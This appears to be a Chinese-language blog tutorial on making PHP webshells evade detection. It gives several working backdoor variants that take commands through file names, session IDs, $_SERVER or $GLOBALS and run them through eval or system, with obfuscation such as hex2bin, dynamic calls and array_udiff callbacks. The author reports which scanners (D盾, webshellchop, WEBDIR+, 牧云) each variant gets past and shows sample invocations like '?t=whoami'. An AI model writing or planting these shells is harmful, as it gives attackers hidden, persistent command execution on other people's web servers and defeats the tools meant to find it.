webshell免杀—PHP篇
前言
本文所作测试均基于PHP7
正文
<?php
eval($_POST[1]);
?>
上面是一个最常见的webshell,但是随着各种检测技术的出现,普通的webshell已经没有了生存空间,这里就来结合前人的路探索一下怎么实现webshell的免杀
查杀工具
- D盾
- webshellchop
- WEBDIR+
对于webshell,我们要解决两个关键问题
- 传递指令
- 执行指令
传递指令
传递指令也就是将想要执行的代码或者命令传递给shell脚本,常见的webshell都是通过 GET POST
的方式来进行指令的传递。
因为常见,所以很多检测技术也就对应的进行了严格的检测,所以我们想要免杀,就要摈弃这种常见的指令传递方式。
除了 GET POST
之外,php还有许多可以用来传递指令的方法
- $_COOKIE
- $_REQUEST
- $_SERVER(某些参数可控,如
QUERYSTRING
) - $GLOBALS
- $_FILE
- getallheaders()
- getdefinedvars()
- session_id()
执行指令
eval&&assert
我们最常使用的执行指令的方式就是用
eval
和assert
,不过在php7中assert
也成为了一个语法结构,不能通过动态调用的方式进行调用了,这也让免杀的难度更上一层。不过,当
eval
和assert
与上面不常见的指令传递方式结合起来,就会起到意想不到的效果$_FILES’file’
<?php @eval(urldecode($_FILES['file']['name']));
这里是通过上传文件名获取指令,因为指令中特殊符号会导致一些错误,所以这里要先将指令url编码,再在脚本中解码一下
使用效果
免杀效果
- D盾
- webshellchop
- webdir+
可以看到只有webdir+检测出了后门,D盾等级只有1,webshellchop就没检查出来
session_id()
<?php $a="sess"."ion_start"; @eval(hex2bin(session_id($a())));
直接使用
session_start
的马应该是被很多检测机构记录进了特征库,所以这里使用动态调用,因为session中只允许出现a-zA-Z0-9
,所以用hex2bin
进行解码,然后将指令hex编码后发送使用效果
免杀效果
- D盾
- webshellchop
- webdir+
全部过检测,不过D盾还是有1级,我们再优化一下。
这里是用函数名动态调用
session_start
,这里我们尝试用回调,不过直接用call_user_func
反而会使警告等级提升,所以尝试不常用的回调函数array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive()
这里我们选择
array_map
进行回调<?php @eval(hex2bin(session_id(implode(array_map("session_start",[[""]])))));
构造出如上shell,使用效果与上面相同,看一下免杀效果
- D盾
- webshellchop
- webdir+
system&&exec
除了eval这些执行php代码的语法结构,我们还可以直接使用system这种直接执行系统命令的函数
就如上面的shell,我们直接将
eval
替换为system
也是可以绕过检测的<?php @system(hex2bin(session_id(implode(array_map("session_start",[[""]])))));
我还想到了一种利用
$_SERVER
结合正则传入函数名和参数的方法<?php foreach ($_SERVER as $key => $value){ if(preg_match("/ERY_S/i",$key)){ $a=explode("=",$value); array_udiff([$a[1]],[$a[1]],$a[0]); } }
使用效果
这样也可以绕过大部分检测
牧云webshell检测引擎绕过
y1s1,这个检测确实强,试了好久才试出一种绕过方法,先看代码
<?php
error_reporting(0);
function test($a){
array_udiff([$a[1]],[$a[1]],$a[0]);
}
test(unserialize(implode(pos($GLOBALS))));
原理就是pos函数结合$GLOBALS变量获取GET参数的键值数组,然后用implode函数获取到参数值,再反序列化这个值获取到存储了函数名和参数的数组,通过array_udiff进行回调实现命令执行。
使用的话我们可以先序列化一个 [”system”,”whoami”]
,然后直接通过get方式传递过去即可命令执行
接着又想出了一种方法,先看代码
<?php
function uyutem(){
throw new Exception(implode(pos($GLOBALS)));
}
try{
uyutem();
}catch(Exception $e){
array_udiff([$e->getMessage()],[$e->getMessage()],str_replace('u','s',$e->getTrace()[0]['function']));
}
定义一个uyutem函数,在其中利用pos函数结合$GLOBALS变量获取GET参数的键值数组,然后再用implode获取到参数值字符串,在该字符串作为异常抛出。然后调用该函数,接着在catch块中,获取到message属性(即传入的参数),再从trace属性中获取到函数名,接着将函数名中的u替换为s,就成了system,然后使用array_udiff进行回调。
使用方式
test.php?t=whoami